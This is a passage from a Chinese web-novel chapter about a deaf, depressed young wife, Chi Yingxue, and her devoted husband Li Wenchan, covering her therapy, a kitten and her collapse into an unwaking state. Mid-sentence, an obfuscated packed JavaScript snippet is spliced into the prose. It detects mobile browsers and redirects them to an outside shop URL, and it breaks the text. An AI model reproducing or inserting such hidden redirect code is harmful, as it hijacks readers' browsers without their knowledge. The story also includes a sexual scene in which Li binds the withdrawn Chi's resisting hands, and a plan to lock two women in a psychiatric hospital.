——直到女人转身。 池映雪看见她的脸。啪。电棍滚落在地。 礼仪老师。怎么会是她? 女人比记忆里似模糊似清晰的剪影年轻些,看见池映雪先是惊慌,很快面目狰狞起来。 她张牙舞爪地对池映雪大吼大叫,四处找寻着什么,在发现池映雪单独放在一个小架子上的木盒子时双眼骤亮。 池映雪听不见声音,只能认出她的口型。 小偷。 她说,小偷,你是小偷! 不是的! 池映雪想解释,拼命摇着头,恍惚间却只见那个木盒子被女人抱起。 女人眼看池映雪要冲过来抢,得意扬唇:“你果然很宝贝这个破木盒子!我妈说的没错……” “我妈,呵,就因为你这个手脚不干净的小偷,我妈才不得不被你连累,丢下我留在那个酒鬼的身边出国避难!”女人咆哮起来。 匆忙的脚步声由远及近,女人疯狂道:“你居然还知道叫帮手?也是,那群被你这幅外表骗了的人数不胜数!你丈夫,你也配有这么厉害的丈夫?他要是知道你就是个嫉妒妹妹的小偷,还会帮你吗?!” 池映雪眼前一片晕眩,只意识到女人变了神色,推开窗,把她的木盒子径直扔了出去! 后面发生什么,池映雪忘记了。 她好像拼命挤开赶来的人群冲了出去。 她好像在游泳池看见了朝她奔来的李闻蝉,然后不顾他阻拦,向泳池中心的木盒一步步跑去。 她好像真的溺在水里。 可她又不是鱼。 温暖逐渐取代冰冷。 又有吻落下,又不像是吻。比起索取,更像给予。 空气在一瞬间渡入。池映雪睁开酸涩的眼,发现她正被李闻蝉抱起,一步步稳稳当当地离开水面,来到岸上。 他接过毛毯,裹在她身上,而她怀里紧紧拥住有惊无险的木盒子。池映雪在保安的手下又一次见到那个女人,这次终于看清了。 她只是和礼仪老师相似,但并不是她。 池映雪又在人群里见到了秦书和池润。和几年前一样,女人站在他们不远处,掀开保安的手指着她喊小偷,小偷。 李闻蝉一眼扫过去,女人恐惧地住口,瞬间被保安重新制住。 池映雪小心翼翼地抓紧李闻蝉,努力做口型:我不是。 “我知道。” 虽然听不见声音,但李闻蝉的音调一定很轻,很坚定。 他对她说,我相信你。 池映雪就知道他会这样,牵起了嘴角。 但是。 她却有点不敢相信她自己了。 是记忆出了错乱吗?为什么这个人会如此笃信地冤枉她,难道那些首饰真的是她偷的? 为什么爸爸妈妈一开始就不许她上三楼,是早就料到她手脚不干净么? 为什么期中考试时她的文具盒里出现和池鲤鲤一样的书签,会不会沈星桥从来就没有送过她,一切都是她臆想出来的? 为什么研学旅行把池鲤鲤的手机当成自己的,是潜意识里就想偷走别人的东西吗。 木盒子里的围巾,也是别人的东西。池映雪一直没有还,这算不算偷。 那李闻蝉呢? 他和谁联姻不是联姻,万一他更好的选择是别人,现在这一切是不是池映雪偷来的? 她和池鲤鲤……假千金,真千金,到底谁偷了谁的呢? 池映雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023566|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被李闻蝉抱到另一间卧室,任由他脱下衣服为她洗热水澡。 水气蒸腾,李闻蝉突然靠在她肩上。 池映雪被紧紧地抱住,很快又看见他通红的双眼。 池映雪。他叫她。 池映雪。 李闻蝉像往常那样爱抚她。 她却给不出任何反应。 李闻蝉好像哭了,池映雪呆呆地看着,终于抬起手为他擦拭。 他的手也抬起来,取代她的下唇瓣,抵住锋利的虎牙。 “咬我好不好?” 不好。 会疼。 李闻蝉笑着亲亲池映雪:“我不疼,乖,咬吧。” 池映雪想推开他,两只手紧攥他的手腕,怎么阻挠都推不开。 她渐渐生起气来,用力一握,这才发现指甲嵌进了他的皮肤。冷白色的肌肤上,红色挠痕尤其明显。 池映雪这才落下第一颗眼泪。李闻蝉反而松了口气,逗她:“不是你,这是我刚才遇见的猫。猫挠的。” 李闻蝉把池映雪抱进怀里,一下一下抚摸她湿透的头发。 我可以叫你小雪吗?他也在她手心写字,池映雪知道他写字非常漂亮。 她好像点头了。小雪。两团气流应当在叫这个名字,落在池映雪的耳畔。 过了很久,李闻蝉问:“小雪,我们去看医生好不好?” ——— 李闻蝉一开始还准备了一堆说辞,都没派上用场,因为池映雪很快就点头了。 对看医生这件事,她并不反感。 池映雪知道自己肯定有问题。尽管李闻蝉再三强调她没有病,只是有点不开心,可池映雪心里很清楚。 她必须好起来。 不好起来,怎么配得上他? 就诊需要与医生一对一。池映雪在进门前主动抱了抱李闻蝉,被他安抚许久,才和他专门请来的医生走入书房。 李闻蝉在门外安静地站了一会,满脸阴霾地走向另一个房间。 “一件件说。”李闻蝉在几个下属前落座,“那女人是谁?” “李先生。她叫崔小瑛。太太和您都喜静,家里佣人很少,每次设宴都会另请帮工,崔小瑛就是其中一位。此外,她还是太太以前礼仪老师的女儿。” 汇报的人颤了颤,紧接着报告,“那女人名叫王兰,三年前和情夫一起改名换姓偷渡到X国。我们根据找到的王兰和崔小瑛的描述,大致推测三年前王兰在新年时留宿池家时,偷窃了秦书和池鲤鲤的首饰,并嫁祸给太太。” 额角青筋暴起。 李闻蝉很轻慢地抬起唇:“………说仔细点。” 手里的玻璃杯已经处于炸裂边缘的极点。 “当时只有太太和她两人住在二层以上。王兰在事情败露后第一时间指认……太太。太太情况特殊,想必不便解释,周围人应该…也没有信她,所、所以,王兰就秉承这幅说辞向池家索要了封口费。至于崔小瑛,王兰为了摆脱她这个拖油瓶和酒鬼丈夫,用以上谎言添油加醋推卸责任后装作不得不出国避开池家报复的样子,实际上跟情夫卷款偷渡。您以前让我们查过礼仪老师的下落,但她出国就是为了防止被家人缠上,用了很多反追踪手段,我们也是前天才有她的下落。抱歉。” “抓回来送进去。”下属颔首。李闻蝉低头俯视已经碎裂在地的玻璃残渣,缓慢道:“崔小瑛怎么会知道房间布局?” “王兰年轻时家道中落,凭借旧日规范当上南城有名的礼仪老师,人脉很广。崔小瑛是她的女儿,又正好在高端服务机构工作,得到这个机会后就通过母亲的关系找到房屋装修时某工作室的老板杜沸,可能手里有对方的什么弱点……” “什么弱点?” 下属对李闻蝉耳语几句,李闻蝉目光未变:“去告诉谢恩雅,送她个一等功,请她帮我好好关照。” “恐怕难。”下属直言,“他背靠荥海集团,和盛池规模差不了多少。” 李闻蝉眼皮都不抬一下:“那太好了。把我的浮影送给荥海刘总,再把建区那个广场让给他。我要杜沸死刑的证据。” “另外,邢家已经倒台,池润那边可以动手了。” 他轻飘飘地交代完一切,眸光很淡,像在谈论地球对面的天气。 过了很久,池映雪就诊完,一出门就看见守在门口的李闻蝉。 李闻蝉温柔地抱她起来:“累不累呀?我们去吃饭好吗?” 他又亲亲她。不知道从哪里学来的咬字,特别清晰,只要两个人距离近,池映雪几乎能读出他的全部意思。 只可惜,她一直没办法听见他的声音。 一定很好听吧。 李闻蝉什么都好。特别特别好。 “夏天快到了。我们今天吃清淡点的双人小火锅怎么样?还有你喜欢的提拉米苏和葡萄水。” 医生要我吃药。池映雪闷闷地写。 那个药吃了会困。我想喝美式,不然一会学习会睡着。 “睡着就睡着嘛。”李闻蝉把她放在椅子上,蹲下来诱哄,“睡着了我抱你回房间,我们一起睡。” 池映雪摇头。 她要努力复习,准备今年的高考。 李闻蝉的大学那么好,池映雪不能太差了。 “你肯定没问题的。你那么聪明,前几天我们一起做的卷子,你不是全对吗?” 池映雪木然了很久,慢慢松开笔,放下可以留下痕迹的本子,在李闻蝉手臂上写字。 他们说我的成绩都是靠作弊的。 指尖颤抖着。我也不知道,是不是那样。 李闻蝉喉咙闷痛,低头又扬起:“你信他们还是信我?” 池映雪毫不犹豫:信你。 “那就对了。”李闻蝉神采飞扬的,像受夸赞的不是她而是他自己,“我说你是天才小雪,全世界最厉害的人。” 李闻蝉最近变得很少去上班。 偶尔池映雪也会看见他焦头烂额地打电话,一看就在忙工作的事情。但她问了两句,他就委委屈屈地黏着她,非要问她是不是嫌他烦,想赶他走。 池映雪巴不得他一刻都不离开,索性不问了。 他们每天在一起,像真正的夫妻,或就是真正的夫妻那样。池映雪慢慢可以重新出门,李闻蝉先带她在花园里转,后来去公园,再后来可以去包场过的商场。 和李闻蝉在一起的时候,商场的服务人员都和蔼可亲,一点也不像刚回家时那些高高在上的嘴脸。 夏天快到了。李闻蝉的洁癖好像严重了些,每天要洗两回澡,而且时间不固定。有回他洗完澡还没收拾,池映雪就进去上厕所,闻见淡淡的血腥味。 李闻蝉说是刮胡子刮破了,但伤口愈合得很快,还用他光滑的下巴来蹭池映雪,像什么呢。像一条大狗狗。池映雪一开始以为他会是孤狼那样的,可现在越来越觉得这个男人黏糊糊的,会很温柔地看着她,心软得不像话。 池映雪好喜欢李闻蝉啊。 有天晚上,老爷子那边好像快到十万火急的程度,一定要叫李闻蝉过去。 他坐起来,靠在她旁边的枕头上沉默。池映雪戳了戳李闻蝉的腰。 你去吧。 李闻蝉摇头。池映雪就瞪他一眼,李闻蝉叹了口气。 对不起。他说。 池映雪笑起来,很轻松地比划:你已经陪我好久啦。 李闻蝉拨了拨池映雪的刘海,轻轻吹拂开,在额头上留下郑重一吻。 红唇轻启。 这次的口型,说的比以往要快。 池映雪看出来了,他说的是“晚安”,只是在尾音时舌尖抵住上齿。也许是意外吧,这样的口型,池映雪只见过晚安呀。 老爷子叫走李闻蝉的事,应该真的很严重。 李闻蝉隔天下午才回家,气色意外好了不少,还带回来一只猫。 医生建议池映雪养一些宠物。此前李闻蝉就提过这件事,不过池映雪告诉他她被流浪猫抓伤过,李闻蝉隔了很久才重新问过。 你是不喜欢,还是有点喜欢但有些害怕? 池映雪写,是后者。 李闻蝉说,他也没有养宠物的经验。他们可以一起养一只,他会帮她看着。 比起需要遛弯、大部分品种都很阳光黏人的狗,医生特别建议池映雪先从猫养起。李闻蝉带回来的是一只通体雪白、脸上有圈棕黑的猫,眼睛很大很漂亮。 “这猫叫暹罗,泰国的品种,俗称泰国佬。”李闻蝉介绍,“据说秋冬天气一冷,这圈黑就会变深,到时候会变的和煤炭一样。我们冬天一起看看是不是这样,嗯?” 池映雪点头,稀奇地与小猫对视。 好小一团。毛茸茸的,池映雪不怕这样牙都没长好的小猫崽子,弯了弯眉眼。 她逗着小猫,李闻蝉看着她,缓慢补充:“本来预约了陪伴猫,可是那天从公司出来,看有小孩在江边放风筝,我去拍照给你,在公园里正好撞见它妈妈生产。” 那只猫也是暹罗,肥到不行了,生产都艰难。李闻蝉恰好撞见了,让下属带着猫去宠物医院,分娩出这个小家伙。 老肥猫十分虚弱,刚捡回一条命,余生都得在宠物医院悉心照料着。李闻蝉索性在小猫崽长得有几分猫样后抱回来。 据说暹罗长大后和狗一样黏人,还可以带出去遛弯。医生说怕就怕池映雪不愿意出门但为了遛狗强行出去,现在好,进可遛退可宅。 池映雪:「你给它起名字了吗?」 “没有。”李闻蝉忽然觉得他们现在就像一对爸爸妈妈,看小猫的眼神从刚生出的嫉妒转为父亲的慈爱,“妈妈。孩子妈妈起个名字吧。” 池映雪瞪了他一下,把小猫抱起来。 她想了想:「泰国佬。那就叫泰泰吧。」 105. 你可是男主! 鲜血滴落。 李闻蝉熟练地漱口,清洗水池,喷洒柑橘味的香氛,打开卫生间的门。 池映雪正抱着小猫,背对他坐在卧室阳台的摇篮椅上。 午后的斜阳暖融融地映着她,黑发透出淡橘色的光。小手一下一下抚摸毛茸茸的白,与白色长睡裙融为一体。 察觉到李闻蝉的视线,池映雪回过头。 李闻蝉笑着走了过去,摇椅前的小圆桌上,他的手机屏幕亮起来。 是秦书打来的电话。 李闻蝉眉眼一暗,装作若无其事的样子把手机倒扣,坐到池映雪身边。 不接吗? 李闻蝉玩她的头发:“你不需要为那些人费心。” 池映雪静默片刻,把已经睡着的泰泰轻轻放在膝盖上。 「我知道她想见我。」 池映雪温柔地看着泰泰,真的就像他们的小孩子一样。 「让她来吧。」 “小雪……” 池映雪摇头:「别人都有妈妈。」 正常的人都有妈妈。李闻蝉的妈妈即使去世,也会在录像带里温柔地对他笑。 「我妈妈对我很好的。」池映雪轻描淡写,「她会,亲手给我做吃的,给我买很贵的衣服。」 嗓子好像有些闷。池映雪转过脸,担心地捉住李闻蝉的手:「这不好吗?你别哭呀。」 李闻蝉不像是爱哭的人,此刻眼圈却通红。 医生说池映雪哭不出来,这一年多来,都是李闻蝉在替她流泪。 秦书来的那天,阳光明媚。 李闻蝉特意提前和秦书谈过,禁止提其余不相干的一切人和事。秦书对他针对池润的手段倒没说什么,池润让她来当说客,秦书也终究没说出口。 池映雪想和秦书单独见面,会客厅大门紧闭。秦书手里提着熟悉的饭盒。 保养得当的贵妇人依旧优雅美丽,只是已生出白发。面容与池映雪十分相似,圆眼睛,弯眉毛。 待秦书走后,李闻蝉小心地推门走近。 池映雪面色如常。李闻蝉松了口气,手被牵过去写字。 「你说我以后,是不是会变成妈妈那样?」 “长相也许相似。”李闻蝉斟酌后道,“但池映雪就是池映雪。” 池映雪笑了笑,转而写:「刚才妈妈又给我带了她亲手做的饭菜,今天没有糖醋小排。」 「她和我道歉了。」 秦书还哭着说,是李闻蝉告诉她池映雪并不喜欢吃偏甜口的食物,也不喜欢排类,大排小排筒骨都不喜欢。 秦书说,你不喜欢就应该早点告诉妈妈呀,为什么要逼着自己吃呢? 池映雪安静地和李闻蝉在一起坐了片刻,没把这些陈年杂事告诉他,只是写:「李闻蝉。」 谢谢你。 初夏阳光洒落在雪白小巧的鼻尖。池映雪第一次主动靠上李闻蝉的肩膀。 「我好像真的,好起来了。」 ——— 这是池映雪第三天独自抱泰泰出门。 说是出门,不过在周边的绿化带溜达。但这已经很好了,医生带着量表来检查过,池映雪每次都比前一回好上5%,不多不少。 李闻蝉站在落地窗前,视线紧随院子外林荫道间的池映雪。紫藤萝已经不似从前繁盛,再远处的向日葵即将绽开。 泰泰每天都会比从前长大一点点,遗传了妈妈肥嘟嘟的身材,逐渐变成一团圆滚滚的雪球。 它被生产时就不顺,先天心脏不好,几个月大检查出来的时候,李闻蝉十分自责。 不该给池映雪抱回来一个这样的宠物,要是它不在了,对她伤害会有多大? 池映雪却比他想的更坚强,知道了以后也没流露惊惶,只是照料时更细心了。泰泰最黏她。刚被李闻蝉带回来的时候还一个劲讨好他,现在成天就知道和李闻蝉争宠作对。 李闻蝉都怀疑泰泰哪天要是长嘴了会说话,指不定在池映雪面前怎么说他。 有天早晨,池映雪挂着宁谧的淡笑,给李闻蝉做早餐。 李闻蝉特别热衷于买双人的同款。起初池映雪看见了,问了一句是不是情侣款,被李闻蝉义正辞严地纠正。 “是夫妻款。” 围裙便是这样。李闻蝉和她一大一小的围裙挂在一起,他的那条常用,而她的崭新如初。 其实池映雪做饭还可以,李闻蝉不让她做而已。他说留学的时候国内外两头飞,便也懒得让厨师来家里做,自己对付对付,结果发现还真有做饭的天赋。说实话,池映雪看他不像。 这几天李闻蝉精神不太好,今早还要去公司开早会,池映雪索性扎起头发,做了他们常吃的燕麦蛋饼,又做了份沙拉。 厨房外的水吧里,巧克力制品就没断过。池映雪做了两杯热可可,想起来一件事。 除了韩潇,李闻蝉的朋友们都和池映雪同龄,20岁出头的年纪,都在读大学,算来快毕业了。 上回的宴会是他们正好放假,不过自那以后池映雪不敢见外人,所以再没见过。家里的泳池也被李闻蝉填平,改成了果园。 万苏瑶、章子健还有一位叫秋怡的同学都在京城。李闻蝉也是京城人。 胡挚就在南城本地,最近愈发爱来家里蹭饭,每回吃完饭就被李闻蝉一脚赶出去,乐此不疲。 就在前天,胡挚来的时候,池映雪也给李闻蝉端了一杯摩卡。胡挚当时的表情,就和天塌下来一样。 不远处的楼梯跑下来一个失魂落魄的闪影。池映雪和李闻蝉对视,他才放松下来,无奈地走过来抱紧她。 “怎么不等我一起做?” 池映雪一见他就挂上微笑,把可可递过去。李闻蝉十分受用地品尝。 池映雪指了指可可。 怎么样? “好喝。你做什么不好喝?”李闻蝉放下杯子,用鼻尖蹭她,“不信你尝尝。” 池映雪才不理他。她侧了身走进厨房,将平底锅里的鸡蛋饼复热一下。 滋。 应当有水不小心滴在锅里。此时加热,和油星一起溅出来。 李闻蝉一进厨房就看见这一幕,连忙加速上前,把纹丝不动的池映雪拉到水龙头下冲洗。 没事的。池映雪还是笑着。 你看,连红痕都没有。池映雪笑得软绵绵的:我没事呀。 李闻蝉皱着眉,仍不放心,整个早饭时间都看着池映雪,确认她真的一如往常后才勉强出门,还是被池映雪硬推走的。 隔着大门,池映雪温柔地看着李闻蝉。 李闻蝉又不想走了。 他像平时那样俯下身,池映雪像平时那样,手扶着门框踮起脚来给了他一个临别吻。 “我会早点回来。”李闻蝉回吻她,“今天有没有什么想要我带的?” 池映雪思考了一会。 「黑白配。」 李闻蝉没有听过这个东西:“什么?吃的吗?” 他说着就拿出手机搜索。原来是一种零食,似乎流行于他们的童年时期。 李闻蝉从小跟在老爷子身边,连肯爷爷都是中学时考虑到昔日某位条件一般的好友才有所了解。 “黑白配……”李闻蝉看着他的黑西装和池映雪的白色睡裙,挑起眉,“好名字。在说我们呢。” 池映雪笑着点头。 对,我黑你白。 “?”李闻蝉纠正她,“难道不是该反过来?” 阳光照在他身后,转个身就正面朝向。门檐下落着影,遮住玻璃房内的一草一木。 池映雪目送李闻蝉离开。车辆开出门,闪了闪车灯。 池映雪抿起嘴关门,透过猫眼看见黑色轿车慢吞吞地驶远。 嘴边的笑在瞬间淡去。 等回到房间,池映雪透过窗户的倒影,看清楚她的表情有多么冷漠。 题已经做完了。 台球也能一杆清台。毕竟她平日里也没别的事可干,日日钻研,还有李闻蝉空闲时手把手的教学。 现在就等即将到来的高考。 等她考上大学。等她能跟得上李闻蝉的脚步。 池映雪摇摇头,跟不上的。她只能努力不给他丢人。 等那个时候,池映雪也想去盛池帮忙。李闻蝉太累了,她知道他不喜欢工作,也不想他那么累。 等以后……… 今天的太阳特别好,透过窗户,一寸一寸照在池映雪的身上。 他们会有以后吗?李闻蝉一定会有一个像太阳一样明亮的以后。 可她会有以后吗? 池映雪淡淡地想,好难啊。要是能感受到的一切,也像心理医生的量表那样简单地操控出答案就好了。 窗外突然多了一道疾驰的影。 池映雪从地上坐起来,呆愣愣地盯着从车上下来的男人看。泰泰刚醒来,正在舔池映雪的手,她也没有反应。 直到被从地面抱起。 熟悉的体温,熟悉的味道。 黑与白的闪影交错。 外面的天气,忽然电闪雷鸣。 李闻蝉单手紧紧抱住池映雪,另一只手拉上窗帘,将突降的雷雨隔绝,又把泰泰抱去隔壁属于它的小房间。 池映雪安安静静地坐在李闻蝉的臂弯,直到再次回到卧室,才轻轻推了推他。 你该去上班了。 “不去。”李闻蝉任性道,第一次用如此强硬的态度同她讲话。 走的时候就觉得不对。李闻蝉捏起池映雪的下巴,让她看着他。 池映雪很喜欢与李闻蝉对视的感觉,因为他的眼睛总是只看着她一个人。 可是现在,池映雪没办法聚焦,也没有办法笑。对不起。池映雪说。 李闻蝉抱紧她,不断说着什么,池映雪听不见。 门窗都紧闭。窗帘被未知来源的风吹起,细微的缝隙透出外界疾风骤雨,灰蒙蒙的,压得人喘不过气。 夏天的气象就是这样。朝阳暮雨,朝生暮死。就像夏天独有的蝉一样。 池映雪在心里默默雕刻这个字。她问李闻蝉,蝉的声音,是怎么样的呢? 李闻蝉说,他有在联系国外最前沿领域的耳蜗研究室,只是没有确定的结果,不想提前报喜。 “再给我一些时间好不好?等那个时候,我们一起去听。” 池映雪没回答。她又问,你知道鱼是怎么溺死的吗? 自从那天沉下去,就一直浸泡在水里。我以为自己好了,慢慢飘起来,但好像我错了。 飘起来,只是和所有溺毙者一样,轻飘飘地浮起,浮在阳光照射的水面。 池映雪机械地在那只温暖的掌心写字,这次轮到李闻蝉不说话。 良久。 李闻蝉解开领带:“那我们就一起沉下去。” ……你该去上班了。 李闻蝉又一次没说话。领带随意丢在地板,衬衫的扣子崩开。 皮带捆住池映雪推开他的手,湿热滚烫的舌与齿,很重地啮咬她冰凉的耳垂。 疼痛袭来,池映雪多了些下坠感。沉重的身体缚住她,比以往任何一次都猛烈、执着、强硬地占有。 他在她身上,像一场唯独对她暴烈的风雨。白色的闪电迸射于濒死的鱼,每一次都让她短暂的复活,感受到两道交缠在一起湿淋淋的呼吸。 李闻蝉的吻没停过,这里或那里,上下,左右,里外。池映雪感觉她偶尔是块软橡皮糖,在他手背鼓起的青筋下变成任意形状。 只是占有还不够。他向她索要她主动的占有。池映雪没有力气,李闻蝉也不再像以往那样惯着她。他对她太熟悉,远胜过池映雪自己。 每一次的临界点,他就离开她。到下一次又故伎重施。原本只有一次的生命,被他哄着,像能有两回。 池映雪不能发出声音,那又怎么样。李闻蝉教她张嘴,模仿他的口型。聪明的人总是一点即通,更何况他这样吊着磨着她的性子。 池映雪念:李闻蝉,李闻蝉。一次又一次,念到后来也忘记追究李闻蝉都喊她念了些什么,她说,要你。 李闻蝉让阿姨把泰泰抱走,家里只剩下他们。所有的门窗和窗帘都紧闭了,到了饭点李闻蝉就抱池映雪去厨房,去他们的吧台,吃完饭要净手,他抱她去洗手间。书房。台球室。没有一刻分开过。 池映雪在橱柜的玻璃倒影里看见李闻蝉伏在她身上,喂她吃提拉米苏。在镜子里看见李闻蝉宽阔的背遍布浅红色抓痕。在房间里的时钟里看见六次相同的轮回。三天三夜。 雨还没有停。 池映雪伏在李闻蝉身上颤抖,无声地流眼泪。 对不起。她说,我好累。我想快点变好…… “我们不急的。”李闻蝉翻身来亲亲她,“我永远都在。” 「要是我好不起来怎么办?对不起,我真的好累呀。」 「李闻蝉。」 池映雪在李闻蝉的胸口写字:「你有一点喜欢上我了吗?」 每一次翻覆带来的炽热,很快就会在她指尖消散。 就像现在,每写一个字,手指的温度就凉一点,像在宣告他的努力不过是自欺欺人的拖延。 胸膛下的脏腑,心理与生理同时如刀绞。 李闻蝉忍住这些天堵在喉咙里的铁锈,嘶哑而郑重地说:“我爱你。” 眼泪滴在李闻蝉的锁骨。 池映雪爬起来,却仍像瘫在他怀里:可是我好像没法爱你。 “不爱我也没关系。”骗人的。 李闻蝉的心跳骤停,很紧很紧地揪起来,只流露温柔而安抚的笑:“……我爱你就够了。” “还记得我们一起吃鸡柳那天的管家吗?我让他或者别人给你钱,去一个很远,谁都找不到你的地方好不好?” 李闻蝉用柔软的被子包裹住池映雪小小的身体。真是好小一只,怎么喂都喂不胖。他宁愿她像泰泰和泰泰亲妈那样,圆滚滚的。 李闻蝉想到,就像曾经听沈星桥和邢芷说的那样,她嫁给他是他处心积虑设计来的,并非她的本意。连老天也不赞成。 池映雪有一个精心保管的木盒子,为了它甘愿溺水。她不让任何人碰,时常背着他一个人抚摸木盒。 李闻蝉有不止一次机会单独进入小隔间,每次都没有打开。他尊重她,也不敢打开。万一里面装的东西有关她过去传闻里那些情愫,李闻蝉会疯的。 只是现在他想,那又怎么样呢? 李闻蝉:“只要让我知道你在这个世界某处过的很好,就够了。” 李闻蝉不信老爷子他们找风水大师那一套,连上香都没有过。此时此刻,他直起身,跪在床单上,在池映雪面前第一次祈求:“好不好?” 池映雪不是这个意思。 她不想离开他,于是摇了摇头,却再没力气写字或做出什么口型。 没法爱他只是因为……连自己都没有力气爱。 她慢慢地闭上眼,好像又一次被抱住,只是没再醒来。 ——— 深夜的公安局。 下属汇报李闻蝉如约而至,谢恩雅连忙起身,走向会议厅。 深红色的木桌前,轮廓锋利的男人沉静坐在那里,像一块冰冷的顽石。冷色调的白炽灯光落在他身上,照得眉眼更加淡漠,身形依旧挺阔,却清瘦颓废不少。 “你来了。”谢恩雅想起听到的消息,低声劝道,“看开点,未必醒不过来。” 话虽如此,这实在是出于安慰。谢恩雅出身政界,消息网十分通达。听闻那位池小姐因为心理问题产生生理上的自我防御机制,精神陷入沉眠,与植物人无异。 甚至有不少人联系起李闻蝉对池润出手,向谢恩雅揣摩他夫人此态是否也是有意为之。谢恩雅知道不是,只是李闻蝉自己也从未澄清。 谢恩雅本想着这是因为李闻蝉一贯就不在意流言,现在看来,更可能是他没心思处理。 李闻蝉:“不必看开。一定能醒过来。” 谢恩雅叹气:“大晚上找我,有什么事?” 李闻蝉:“崔小瑛,王兰,杜沸在你这里?” “对,前两个还多亏你押过来。”谢恩雅靠上椅背,“杜狗更多亏了你,过程我就不追究了。可以告诉你的是,他肯定死刑,这两年来找各种关系都无济于事。” 听说李闻蝉最近还在搞荥海。 也不知哪来那么大能量,明明盛池和荥海旗鼓相当,谢恩雅却听她妈说李闻蝉快把那个刘老板整出境了。 李闻蝉颔首,淡漠道:“那把前两人放了吧。” “……什么?” “把崔小瑛和王兰放了。”李闻蝉平静道,“我会给她们安排好去处。” 谢恩雅的目光锐利起来:“你安排什么去处?” “我投资建设的精神病院正好要开业了。” 李闻蝉轻描淡写,“她们很喜欢说话,我请回去好好说。” “你疯了!” 谢恩雅腾然起身,三两步走去关掉会议厅里24小时开启的录音设备。 “刚才的话我当你没说过。”谢恩雅警告,“你已经把她们交给我们了,就该相信法律自然会制裁!而且考虑到池……贵太太的情况,已经判到六年了。” “我后悔了。” 李闻蝉:“后悔把她们交给公安。” “六年?你把她们先放出来,我把人杀了最低也是六年。” “你他妈——” 谢恩雅差点没一拳砸过去。她看李闻蝉那样不像开玩笑,原地踱步半天,终于想到:“那你太太呢?” “你不是说她肯定会醒吗?”谢恩雅质问,“她醒了,你却在监狱里,谁去照顾她?” 李闻蝉的眉骨轻轻地抬起来。 面部柔和不少,像是仅仅被提起“她醒了”的可能性,万物都变得可亲。 二人在夏天闷燥的氛围里僵持,过了一会,李闻蝉缓慢道:“我去挖其他把柄,以及世界范围内找最好的律师,争取再判。” “行。” 谢恩雅送他离开,终究还是道:“我作为警察,要维护法律,没法帮你。但律师那边我比你熟,会帮着找找。你……没什么,帮我向你太太问好吧。” 正好走到公安局门口。外面下着今夏缠绵的暴雨,蓝灰色天空下,城市的剪影若隐若现。 李闻蝉回过身,郑重地鞠躬:“拜托了。多谢。” 雨水一刻不停。 谢恩雅耸肩摇头,苦笑了一声:“……原来你爱一个人时,是这样子的。” 原来你真的会爱上谁啊。 李闻蝉直起腰,侧脸对着自天空降落的大雨,低声呢喃:“这就是爱么?” “什么?” “没什么。走了。” 李闻蝉转身,下属打来一把白色的伞,他自己接过去,挥挥手让下属离开。 今天高考结束。池映雪的准考证已经打印好,就在李闻蝉兜里。 刚考完的学生们冒雨聚会,到现在还不回家。李闻蝉走过一个拐角,远离了公安局,有穿着校服的人放烟花。 黑色的皮鞋停下来,任由雨滴飞溅锃亮的表面。 这就是爱么? 对池映雪脱口而出“我爱你”,是发自内心,甚至不曾细究。可李闻蝉忽然发现,他的内心,从那时到刚才被谢恩雅点明,再溯至很久很久以前,都是一样的。 此处是城区,学生燃的烟花不过儿戏。 屋檐下花火飞溅,与斜着落进去的雨水相互击拳。 李闻蝉想起高二那年的跨年夜。 那个时候,他还不真正认识她。仅仅是想一起看一场烟花。 直到次日听闻她走失,才蓦然惊觉他有多在意。 ——那也不过是在意。李闻蝉预感很准,从小就有声音告诉他颇受上天眷顾。上天指引的投资就去做,上天不让做的事就远离。从一开始接近池映雪就会被莫名其妙地打断,几次交集后甚至发了一场持续半月的高烧。 索性分开,操纵棋盘,等时机成熟再名正言顺出现在她身边。而若不是回来后猜到池映雪在那里不好,李闻蝉根本不会想到罔顾池映雪的意愿直接结婚。 ………这是他一直以来的想法。 李闻蝉安静地行走在雨地里,越走越慢。雨水沾湿了纤长的睫毛,路过的烟火星点朦胧,和回忆里重叠。 他错了。 冬天的夜晚将蝉唱遗忘,埋藏在地底,直到今夏才随着大雨冲洗破土而鸣。 那一晚遥远彼岸的雪在烟花之下,比漫天绚烂更加耀眼。 李闻蝉爱池映雪。 爱了很多年。 ——— 秋天,池映雪的生日又到了。 二人的卧室被改造成疗养室。早晨李闻蝉从池映雪身边醒来,照例测了一下数值,亲吻她的额头,然后下楼去做蛋糕。 过道两边堆着搬家用的大箱子,泰泰穿行其间,轻而易举跳到其中一个没有封口的箱子里。 李闻蝉把它捞出来,看清里面的东西后,拍了拍泰泰的耳朵:“说多少次了。妈妈不喜欢别人动她的木盒子,醒来看见你乱踩,要生气的。” 说完自己也笑。 生气什么生气。有的人生气也不过是鼓鼓腮帮,瞪你一眼,让人只想亲她。 泰泰根本不听李闻蝉的话。池映雪不醒,它脾气越来越大,刷一下就蹦到吊灯上。李闻蝉一个头两个大,正要抓下来,泰泰又跳回木盒子上。 “泰泰,我数到3——” 李闻蝉皱眉,“2。” 1…… 啪。木盒子被它一尾巴扫到箱子底部,打开了。 李闻蝉走过去抓猫,无意识低眸,怔在原地。 藏青色围巾柔软如初。 柑橘香已经不见了,只不过以另一种形式,重新存留在李闻蝉身上。 鼻尖萦绕开很久很久前,在J国、街头、跑车前闻见的气味,和此刻衣服上的香气重合。 “骗子。” 层叠纸箱间,吧台上刚做好的提拉米苏外。 蜡烛火光摇曳。李闻蝉低着头,黑发遮住神情,泪或者笑。 “………还说你不爱我。” ——— 搬家是为了给池映雪转院。 国内最权威的相关研究团队坐落京城P大。李闻蝉带池映雪住进了这里的VIP病房。 盛池那边依然忙碌,甚至更忙了。李闻蝉京城南城两头跑,幸好万苏瑶章子健几人都在京城,可以时不时帮忙照看。 即便如此,李闻蝉依旧不放心。总要亲自照顾才好。胡挚还纳闷过池映雪“睡”着,他有什么好照顾的?看见李闻蝉一日三餐照常做后,不由咋舌:“图啥啊?” 李闻蝉:“小雪要是突然醒来,肯定吃不惯外面的饭。她要是没醒,这些饭就拿去喂小雪和我救助的那些流浪动物。” 